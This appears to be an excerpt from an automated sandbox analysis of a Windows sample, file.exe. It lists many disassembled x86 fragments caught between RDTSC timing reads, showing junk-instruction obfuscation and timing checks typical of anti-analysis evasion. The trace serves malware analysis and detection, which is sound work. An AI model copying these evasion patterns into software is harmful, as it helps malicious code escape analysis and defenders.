Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50903F7 second address: 5090492 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B51130FA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b mov ecx, 063F4F63h 0x00000010 pushad 0x00000011 mov si, F8D5h 0x00000015 mov ah, 4Dh 0x00000017 popad 0x00000018 popad 0x00000019 push eax 0x0000001a jmp 00007F1B51130F9Ch 0x0000001f xchg eax, esi 0x00000020 jmp 00007F1B51130FA0h 0x00000025 xchg eax, edi 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007F1B51130F9Eh 0x0000002d or cx, EC08h 0x00000032 jmp 00007F1B51130F9Bh 0x00000037 popfd 0x00000038 pushfd 0x00000039 jmp 00007F1B51130FA8h 0x0000003e xor eax, 0B570E68h 0x00000044 jmp 00007F1B51130F9Bh 0x00000049 popfd 0x0000004a popad 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f movzx eax, dx 0x00000052 push edx 0x00000053 pop eax 0x00000054 popad 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090492 second address: 5090498 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090498 second address: 509049C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 509049C second address: 50904CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B50817832h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F1B50817837h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50904CE second address: 50905C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F1B51130F9Fh 0x00000008 pop ecx 0x00000009 jmp 00007F1B51130FA9h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov eax, dword ptr [75AF4538h] 0x00000016 jmp 00007F1B51130F9Eh 0x0000001b xor dword ptr [ebp-08h], eax 0x0000001e jmp 00007F1B51130FA0h 0x00000023 xor eax, ebp 0x00000025 jmp 00007F1B51130FA1h 0x0000002a nop 0x0000002b jmp 00007F1B51130F9Eh 0x00000030 push eax 0x00000031 pushad 0x00000032 mov ch, dh 0x00000034 mov ah, 4Ch 0x00000036 popad 0x00000037 nop 0x00000038 pushad 0x00000039 call 00007F1B51130F9Bh 0x0000003e mov cx, 579Fh 0x00000042 pop ecx 0x00000043 push edi 0x00000044 pushfd 0x00000045 jmp 00007F1B51130FA0h 0x0000004a sub ax, 3F08h 0x0000004f jmp 00007F1B51130F9Bh 0x00000054 popfd 0x00000055 pop esi 0x00000056 popad 0x00000057 lea eax, dword ptr [ebp-10h] 0x0000005a jmp 00007F1B51130F9Fh 0x0000005f mov dword ptr fs:[00000000h], eax 0x00000065 pushad 0x00000066 mov esi, 5CC30C8Bh 0x0000006b mov dx, si 0x0000006e popad 0x0000006f mov dword ptr [ebp-18h], esp 0x00000072 push eax 0x00000073 push edx 0x00000074 jmp 00007F1B51130FA9h 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50905C3 second address: 50905C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50905C9 second address: 50905CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50905CD second address: 5090690 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr fs:[00000018h] 0x0000000e pushad 0x0000000f call 00007F1B50817835h 0x00000014 call 00007F1B50817830h 0x00000019 pop esi 0x0000001a pop edi 0x0000001b call 00007F1B50817830h 0x00000020 pushfd 0x00000021 jmp 00007F1B50817832h 0x00000026 adc ecx, 6F7E83B8h 0x0000002c jmp 00007F1B5081782Bh 0x00000031 popfd 0x00000032 pop esi 0x00000033 popad 0x00000034 mov ecx, dword ptr [eax+00000FDCh] 0x0000003a jmp 00007F1B5081782Fh 0x0000003f test ecx, ecx 0x00000041 jmp 00007F1B50817836h 0x00000046 jns 00007F1B508178AAh 0x0000004c pushad 0x0000004d pushfd 0x0000004e jmp 00007F1B5081782Eh 0x00000053 add cl, 00000078h 0x00000056 jmp 00007F1B5081782Bh 0x0000005b popfd 0x0000005c push eax 0x0000005d push edx 0x0000005e push eax 0x0000005f pop edi 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090690 second address: 5090694 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090694 second address: 50906CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add eax, ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F1B50817833h 0x00000011 jmp 00007F1B50817838h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50906CC second address: 50906FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, cx 0x00000006 pushfd 0x00000007 jmp 00007F1B51130F9Ah 0x0000000c xor si, B468h 0x00000011 jmp 00007F1B51130F9Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov ecx, dword ptr [ebp+08h] 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 mov bx, ax 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50906FA second address: 509070C instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, edx 0x00000009 popad 0x0000000a test ecx, ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 509070C second address: 5090710 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090710 second address: 509071E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B5081782Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508001B second address: 5080021 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080021 second address: 5080025 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080025 second address: 5080029 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080029 second address: 508005B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F1B50817833h 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 mov si, 6BCBh 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F1B5081782Eh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508005B second address: 508006A instructions: 0x00000000 rdtsc 0x00000002 mov ch, 86h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508006A second address: 508006E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508006E second address: 5080074 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080074 second address: 50800DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1B50817837h 0x00000008 mov bl, ah 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d sub esp, 2Ch 0x00000010 jmp 00007F1B5081782Bh 0x00000015 xchg eax, ebx 0x00000016 pushad 0x00000017 mov di, cx 0x0000001a mov ebx, esi 0x0000001c popad 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 movzx esi, di 0x00000024 pushfd 0x00000025 jmp 00007F1B5081782Bh 0x0000002a and si, 585Eh 0x0000002f jmp 00007F1B50817839h 0x00000034 popfd 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50800DC second address: 5080151 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, si 0x00000006 call 00007F1B51130FA8h 0x0000000b pop eax 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, ebx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F1B51130FA7h 0x00000017 add ax, FFCEh 0x0000001c jmp 00007F1B51130FA9h 0x00000021 popfd 0x00000022 mov ch, ADh 0x00000024 popad 0x00000025 push ebp 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F1B51130FA2h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080151 second address: 5080160 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B5081782Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080160 second address: 5080195 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1B51130F9Fh 0x00000009 or esi, 44FA533Eh 0x0000000f jmp 00007F1B51130FA9h 0x00000014 popfd 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080195 second address: 50801D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], edi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushfd 0x0000000e jmp 00007F1B5081782Fh 0x00000013 adc ecx, 4C92154Eh 0x00000019 jmp 00007F1B50817839h 0x0000001e popfd 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508020B second address: 5080229 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B51130FA0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ebx, ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov di, cx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080229 second address: 508022E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508022E second address: 5080234 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080234 second address: 5080238 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080238 second address: 5080331 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B51130FA7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub edi, edi 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F1B51130FA5h 0x00000014 adc eax, 741DE456h 0x0000001a jmp 00007F1B51130FA1h 0x0000001f popfd 0x00000020 mov ax, 69C7h 0x00000024 popad 0x00000025 inc ebx 0x00000026 pushad 0x00000027 jmp 00007F1B51130FA8h 0x0000002c pushfd 0x0000002d jmp 00007F1B51130FA2h 0x00000032 and esi, 0049B8D8h 0x00000038 jmp 00007F1B51130F9Bh 0x0000003d popfd 0x0000003e popad 0x0000003f test al, al 0x00000041 pushad 0x00000042 pushfd 0x00000043 jmp 00007F1B51130FA4h 0x00000048 xor esi, 4A928338h 0x0000004e jmp 00007F1B51130F9Bh 0x00000053 popfd 0x00000054 popad 0x00000055 je 00007F1B511311ADh 0x0000005b pushad 0x0000005c push edi 0x0000005d mov cx, F1BDh 0x00000061 pop eax 0x00000062 jmp 00007F1B51130FA3h 0x00000067 popad 0x00000068 lea ecx, dword ptr [ebp-14h] 0x0000006b push eax 0x0000006c push edx 0x0000006d jmp 00007F1B51130FA5h 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080409 second address: 5080474 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F1B5081782Fh 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e test eax, eax 0x00000010 jmp 00007F1B50817835h 0x00000015 jg 00007F1BC123587Ah 0x0000001b jmp 00007F1B5081782Eh 0x00000020 js 00007F1B508178E7h 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 mov edx, 26D84FE0h 0x0000002e jmp 00007F1B50817839h 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080474 second address: 5080484 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1B51130F9Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080484 second address: 50804D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B5081782Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [ebp-14h], edi 0x0000000e pushad 0x0000000f mov ax, 482Bh 0x00000013 mov ch, 3Ch 0x00000015 popad 0x00000016 jne 00007F1BC1235821h 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F1B50817834h 0x00000025 and si, 66E8h 0x0000002a jmp 00007F1B5081782Bh 0x0000002f popfd 0x00000030 push ecx 0x00000031 pop ebx 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50804D2 second address: 5080563 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F1B51130F9Bh 0x00000008 pop ecx 0x00000009 pushfd 0x0000000a jmp 00007F1B51130FA9h 0x0000000f sub al, FFFFFFB6h 0x00000012 jmp 00007F1B51130FA1h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov ebx, dword ptr [ebp+08h] 0x0000001e pushad 0x0000001f mov si, 0543h 0x00000023 jmp 00007F1B51130FA8h 0x00000028 popad 0x00000029 lea eax, dword ptr [ebp-2Ch] 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f pushfd 0x00000030 jmp 00007F1B51130F9Dh 0x00000035 add eax, 55992E76h 0x0000003b jmp 00007F1B51130FA1h 0x00000040 popfd 0x00000041 mov ebx, esi 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080563 second address: 5080569 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080569 second address: 508058B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F1B51130FA7h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508058B second address: 50805A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1B50817834h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50805A3 second address: 50805A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50805A7 second address: 50805C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], esi 0x0000000b pushad 0x0000000c mov edx, 6E417140h 0x00000011 mov dx, 616Ch 0x00000015 popad 0x00000016 push ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50805C4 second address: 50805CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50805CA second address: 50805FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, 2A56E521h 0x00000008 pushfd 0x00000009 jmp 00007F1B5081782Eh 0x0000000e add ecx, 42AAB2B8h 0x00000014 jmp 00007F1B5081782Bh 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov dword ptr [esp], eax 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50805FE second address: 5080603 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080603 second address: 5080608 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080608 second address: 508061A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov di, 5A2Ch 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508061A second address: 508061E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508061E second address: 508063B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B51130FA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508063B second address: 508066C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B50817831h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f call 00007F1B50817833h 0x00000014 pop ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508066C second address: 5080671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50806CC second address: 5070CB3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 5EC82412h 0x00000008 movsx ebx, si 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e test esi, esi 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F1B50817830h 0x00000017 or cl, 00000028h 0x0000001a jmp 00007F1B5081782Bh 0x0000001f popfd 0x00000020 popad 0x00000021 je 00007F1BC123577Dh 0x00000027 xor eax, eax 0x00000029 jmp 00007F1B507F0F5Ah 0x0000002e pop esi 0x0000002f pop edi 0x00000030 pop ebx 0x00000031 leave 0x00000032 retn 0004h 0x00000035 nop 0x00000036 cmp eax, 00000000h 0x00000039 setne cl 0x0000003c xor ebx, ebx 0x0000003e test cl, 00000001h 0x00000041 jne 00007F1B50817827h 0x00000043 jmp 00007F1B5081799Bh 0x00000048 call 00007F1B54FA1732h 0x0000004d mov edi, edi 0x0000004f pushad 0x00000050 mov esi, edx 0x00000052 mov ebx, 353FD12Eh 0x00000057 popad 0x00000058 push ecx 0x00000059 push eax 0x0000005a push edx 0x0000005b pushad 0x0000005c mov ebx, 2E466E92h 0x00000061 pushfd 0x00000062 jmp 00007F1B50817833h 0x00000067 xor ch, FFFFFF8Eh 0x0000006a jmp 00007F1B50817839h 0x0000006f popfd 0x00000070 popad 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070CB3 second address: 5070CE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 21A067A2h 0x00000008 mov ebx, 2F415BEEh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F1B51130FA7h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070CE1 second address: 5070CFE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B50817839h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070CFE second address: 5070D81 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, cx 0x00000006 pushfd 0x00000007 jmp 00007F1B51130FA8h 0x0000000c sbb ax, C8F8h 0x00000011 jmp 00007F1B51130F9Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov ebp, esp 0x0000001c pushad 0x0000001d mov cl, 4Eh 0x0000001f push ebx 0x00000020 movzx esi, di 0x00000023 pop edi 0x00000024 popad 0x00000025 xchg eax, ecx 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007F1B51130FA2h 0x0000002d jmp 00007F1B51130FA5h 0x00000032 popfd 0x00000033 pushad 0x00000034 mov ecx, 53DC3BCDh 0x00000039 call 00007F1B51130F9Ah 0x0000003e pop esi 0x0000003f popad 0x00000040 popad 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070D81 second address: 5070D85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070D85 second address: 5070DA2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B51130FA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070DA2 second address: 5070DF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1B50817837h 0x00000009 sub cl, FFFFFF8Eh 0x0000000c jmp 00007F1B50817839h 0x00000011 popfd 0x00000012 mov cx, BC97h 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov ah, dh 0x0000001f call 00007F1B50817830h 0x00000024 pop esi 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070DF9 second address: 5070DFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070E47 second address: 5080AE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B5081782Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ret 0x0000000a nop 0x0000000b and bl, 00000001h 0x0000000e movzx eax, bl 0x00000011 lea esp, dword ptr [ebp-0Ch] 0x00000014 pop esi 0x00000015 pop edi 0x00000016 pop ebx 0x00000017 pop ebp 0x00000018 ret 0x00000019 add esp, 04h 0x0000001c jmp dword ptr [008FA41Ch+ebx*4] 0x00000023 push edi 0x00000024 call 00007F1B5083D227h 0x00000029 push ebp 0x0000002a push ebx 0x0000002b push edi 0x0000002c push esi 0x0000002d sub esp, 000001D0h 0x00000033 mov dword ptr [esp+000001B4h], 008FCB10h 0x0000003e mov dword ptr [esp+000001B0h], 000000D0h 0x00000049 mov dword ptr [esp], 00000000h 0x00000050 mov eax, dword ptr [008F81DCh] 0x00000055 call eax 0x00000057 mov edi, edi 0x00000059 jmp 00007F1B50817830h 0x0000005e xchg eax, ebp 0x0000005f jmp 00007F1B50817830h 0x00000064 push eax 0x00000065 pushad 0x00000066 push eax 0x00000067 push edx 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080AE8 second address: 5080AEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080AEC second address: 5080B1B instructions: 0x00000000 rdtsc 0x00000002 call 00007F1B5081782Dh 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ax, dx 0x0000000d popad 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F1B50817836h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080B1B second address: 5080B40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B51130F9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F1B51130FA0h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080B40 second address: 5080B44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080B44 second address: 5080B4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080B4A second address: 5080BA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B5081782Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [75AF459Ch], 05h 0x00000010 jmp 00007F1B50817830h 0x00000015 je 00007F1BC12256B2h 0x0000001b pushad 0x0000001c call 00007F1B5081782Eh 0x00000021 jmp 00007F1B50817832h 0x00000026 pop eax 0x00000027 mov dh, 61h 0x00000029 popad 0x0000002a pop ebp 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080BA5 second address: 5080BA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
